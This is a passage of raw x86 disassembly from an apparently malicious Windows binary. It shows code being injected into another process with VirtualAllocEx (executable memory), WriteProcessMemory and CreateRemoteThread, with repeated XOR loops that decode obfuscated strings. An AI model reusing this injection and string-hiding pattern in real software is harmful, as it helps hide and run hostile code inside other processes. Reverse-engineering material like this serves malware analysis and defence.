pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x89c]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x89c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x898]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x898], xmm1
add edx, 8
cmp edx, 0x18
jl 0x463300
mov dword [ebp - 0x880], edx
cmp edx, 0x1a
jge 0x46345d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x880]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x880]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x89c], cl
inc edx
mov dword [ebp - 0x880], edx
cmp edx, 0x1a
jl 0x463420
push esi
lea eax, [ebp - 0x89c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
xorps xmm0, xmm0
mov dword [ebp - 0x888], 0
lea ecx, [ebp - 0x418]
mov dword [ebp - 0x884], 0
add esp, 0xc
lea edx, [ecx + 1]
movups xmmword [ebp - 0x898], xmm0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4634a0
sub ecx, edx
lea eax, [ebp - 0x418]
push ecx
push eax
lea ecx, [ebp - 0x898]
call fcn.00437fe0
mov dword [ebp - 4], 7
mov eax, dword [0x490330]
cmp eax, dword [0x490334]
je 0x4634fc
movups xmm0, xmmword [ebp - 0x898]
mov ecx, 0xf
mov byte [ebp - 0x898], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x888]
movq qword [eax + 0x10], xmm0
add dword [0x490330], 0x18
jmp 0x463514
lea ecx, [ebp - 0x898]
push ecx
push eax
mov ecx, 0x49032c
call fcn.00461e70
mov ecx, dword [ebp - 0x884]
cmp ecx, 0x10
jb 0x463548
mov edx, dword [ebp - 0x898]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x46353e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x462276
push ecx
push edx
call fcn.0047421c
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 0x8c4]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x8d0]
push edi
call esi
jmp 0x466419
push 0x40
push 0x3000
push 0x1000
push 0
push edi
call esi
mov dword [ebp - 0x880], eax
test eax, eax
jne 0x4637de
call dword [sym.imp.KERNEL32.dll_GetLastError]
movups xmm0, xmmword [str.T_FL]
mov ecx, dword [0x485968]
xor edx, edx
cmp dword [0x4931b8], 2
mov esi, eax
movups xmmword [ebp - 0x858], xmm0
mov dword [ebp - 0x830], ecx
movups xmm0, xmmword [0x485950]
mov cx, word [0x48596c]
mov word [ebp - 0x82c], cx
movups xmmword [ebp - 0x848], xmm0
mov dword [ebp - 0x880], edx
movq xmm0, qword [0x485960]
movq qword [ebp - 0x838], xmm0
jl 0x463750
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x858]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x858], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x854]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x854], xmm1
add edx, 8
cmp edx, 0x28
jl 0x463630
mov dword [ebp - 0x880], edx
cmp edx, 0x2e
jge 0x46378d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x880]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x880]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x858], cl
inc edx
mov dword [ebp - 0x880], edx
cmp edx, 0x2e
jl 0x463750
push esi
lea eax, [ebp - 0x858]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 0xc
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
lea eax, [ebp - 0x898]
mov dword [ebp - 4], 8
push eax
mov ecx, 0x49032c
call fcn.00461df0
lea ecx, [ebp - 0x898]
call fcn.00444c10
jmp 0x463548
push 0
push 0x1000
push 0x466440
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x463a74
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x485797], 0
mov esi, eax
movups xmm0, xmmword [0x48577c]
mov ecx, dword [0x485794]
mov dword [ebp - 0x884], ecx
movups xmmword [ebp - 0x89c], xmm0
movq xmm0, qword [0x48578c]
movq qword [ebp - 0x88c], xmm0
je 0x4639ed
xor edx, edx
cmp dword [0x4931b8], 2
mov dword [ebp - 0x8c8], edx
jl 0x4639b0
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
nop dword [eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x89c]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x89c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x898]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x898], xmm1
add edx, 8
cmp edx, 0x18
jl 0x463890
mov dword [ebp - 0x8c8], edx
cmp edx, 0x1c
jge 0x4639ed
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x8c8]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x8c8]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x89c], cl
inc edx
mov dword [ebp - 0x8c8], edx
cmp edx, 0x1c
jl 0x4639b0
push esi
lea eax, [ebp - 0x89c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 0xc
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
mov dword [ebp - 4], 9
lea eax, [ebp - 0x898]
mov ecx, 0x49032c
push eax
call fcn.00461df0
lea ecx, [ebp - 0x898]
call fcn.00444c10
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push dword [ebp - 0x8c4]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x8d0]
push edi
call esi
push 0x8000
push 0
push dword [ebp - 0x880]
push edi
call esi
jmp 0x466419
mov eax, dword [0x4857ac]
xor edx, edx
movq xmm0, qword [str.PBCQQ]
mov esi, dword [0x4931b8]
mov dword [ebp - 0x8b8], eax
mov al, byte [0x4857b0]
lea ecx, [edx + 0x1f]
mov byte [ebp - 0x8b4], al
lea eax, [edx + 5]
movq qword [ebp - 0x8c0], xmm0
mov dword [ebp - 0x87c], edx
cmp esi, 2
jl 0x463bd0
movaps xmm2, xmmword [0x4860d0]
mov edx, 8
movaps xmm4, xmmword [0x486540]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm5
mov eax, dword [0x4861e0]
movaps xmm0, xmm1
movd xmm6, ecx
psrld xmm0, xmm6
mov dword [ebp - 0x87c], edx
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x486110]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4860e0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.PBCQQ]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x8c0], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x486110]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x8bc]
pxor xmm1, xmm0
movd dword [ebp - 0x8bc], xmm1
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x8c0], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0xd
jl 0x463bd0
lea eax, [ebp - 0x8c0]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 8
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
lea eax, [ebp - 0x898]
mov dword [ebp - 4], 0xa
push eax
mov ecx, 0x49032c
call fcn.00461df0
lea ecx, [ebp - 0x898]
mov dword [ebp - 4], 0xffffffff
call fcn.00444c10
mov eax, dword [str.QWT6]
movq xmm0, qword [str.PBC__Q]
mov dword [ebp - 0x8b8], eax
mov ax, word [0x4859e4]
movq qword [ebp - 0x8c0], xmm0
mov word [ebp - 0x8b4], ax
test ah, ah
je 0x463dfd
xor edx, edx
mov dword [ebp - 0x87c], edx
cmp esi, 2
jl 0x463dc0
movaps xmm2, xmmword [0x4860d0]
mov eax, 5
movaps xmm4, xmmword [0x486540]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov edx, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm5
mov eax, 0x1f
mov dword [ebp - 0x87c], edx
movaps xmm0, xmm1
movd xmm6, eax
mov eax, dword [0x4861e0]
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x486110]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4860e0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.PBC__Q]
pxor xmm1, xmm0
movaps xmm0, xmm2
movd dword [ebp - 0x8c0], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x486110]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [ebp - 0x8bc]
pxor xmm1, xmm0
movd dword [ebp - 0x8bc], xmm1
nop dword [eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x8c0], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0xe
jl 0x463dc0
lea eax, [ebp - 0x8c0]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 8
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
lea eax, [ebp - 0x898]
mov dword [ebp - 4], 0xb
push eax
mov ecx, 0x49032c
call fcn.00461df0
lea ecx, [ebp - 0x898]
mov dword [ebp - 4], 0xffffffff
call fcn.00444c10
cmp byte [0x4859a3], 0
movups xmm0, xmmword [str.cYW_X]
mov eax, dword [0x4859a0]
mov dword [ebp - 0x884], eax
movups xmmword [ebp - 0x894], xmm0
je 0x46401d
xor edx, edx
mov dword [ebp - 0x87c], edx
cmp esi, 2
jl 0x463fe0
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x894]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x894], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x890]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x890], xmm1
add edx, 8
cmp edx, 0x10
jl 0x463ec1
mov dword [ebp - 0x87c], edx
cmp edx, 0x14
jge 0x46401d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x894], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0x14
jl 0x463fe0
lea eax, [ebp - 0x894]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 8
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
lea eax, [ebp - 0x898]
mov dword [ebp - 4], 0xc
push eax
mov ecx, 0x49032c
call fcn.00461df0
lea ecx, [ebp - 0x898]
mov dword [ebp - 4], 0xffffffff
call fcn.00444c10
movups xmm0, xmmword [str.tPFR]
movups xmmword [ebp - 0x890], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x46422d
xor edx, edx
mov dword [ebp - 0x87c], edx
cmp esi, 2
jl 0x4641f0
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
xor ecx, ecx
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov edx, dword [ebp - 0x8c0]
movd xmm7, eax
nop dword [eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x890]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + ecx - 0x890], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [ebp + ecx - 0x88c]
pxor xmm1, xmm0
movd dword [ebp + ecx - 0x88c], xmm1
add ecx, 8
cmp ecx, 0x10
jl 0x4640e0
jmp 0x46422d
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x890], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0x10
jl 0x4641f0
lea eax, [ebp - 0x890]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 8
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
lea eax, [ebp - 0x898]
mov dword [ebp - 4], 0xd
push eax
mov ecx, 0x49032c
call fcn.00461df0
lea ecx, [ebp - 0x898]
mov dword [ebp - 4], 0xffffffff
call fcn.00444c10
push 0
push 0
push dword [ebp - 0x8d0]
push dword [ebp - 0x880]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x4644c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
movups xmm0, xmmword [str.dY_VUQ]
mov ecx, dword [0x4858ec]
xor edx, edx
cmp dword [0x4931b8], 2
mov esi, eax
movups xmmword [ebp - 0x848], xmm0
mov dword [ebp - 0x830], ecx
movq xmm0, qword [str.____fw0l]
mov cl, byte [0x4858f0]
movq qword [ebp - 0x838], xmm0
mov byte [ebp - 0x82c], cl
mov dword [ebp - 0x87c], edx
jl 0x464450
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x848]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x848], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x844]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x844], xmm1
add edx, 8
cmp edx, 0x18
jl 0x464330
mov dword [ebp - 0x87c], edx
cmp edx, 0x1d
jge 0x46448d
nop word [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0x87c]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x87c]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [ebp + edx - 0x848], cl
inc edx
mov dword [ebp - 0x87c], edx
cmp edx, 0x1d
jl 0x464450
push esi
lea eax, [ebp - 0x848]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00461e50
add esp, 0xc
lea eax, [ebp - 0x418]
lea ecx, [ebp - 0x898]
push eax
call fcn.00437f90
mov dword [ebp - 4], 0xe
jmp 0x463a1d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [0x485804]
mov eax, dword [0x485824]
xor edx, edx
mov dword [ebp - 0x830], eax
mov ax, word [0x485828]
mov word [ebp - 0x82c], ax
mov al, byte [0x48582a]
mov byte [ebp - 0x82a], al
mov dword [ebp - 0x87c], edx
movups xmmword [ebp - 0x850], xmm0
movups xmm0, xmmword [str.7_7__g.8k__::__z_V]
movups xmmword [ebp - 0x840], xmm0
cmp esi, 2
jl 0x464670
movaps xmm0, xmmword [0x4861e0]
mov eax, 5
movaps xmm4, xmmword [0x4860d0]
movaps xmm3, xmmword [0x486540]
movaps xmm6, xmmword [0x486110]
movd xmm5, eax
mov eax, 0x1f
movaps xmmword [ebp - 0x8c0], xmm0
mov ecx, dword [ebp - 0x8c0]
movd xmm7, eax
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x850]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [ebp + edx - 0x850], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4861d0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x84c]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x84c], xmm1
add edx, 8
cmp edx, 0x20
jl 0x464554
mov dword [ebp - 0x87c], edx
cmp edx, 0x27
jge 0x4646ad
nop word [eax + eax]
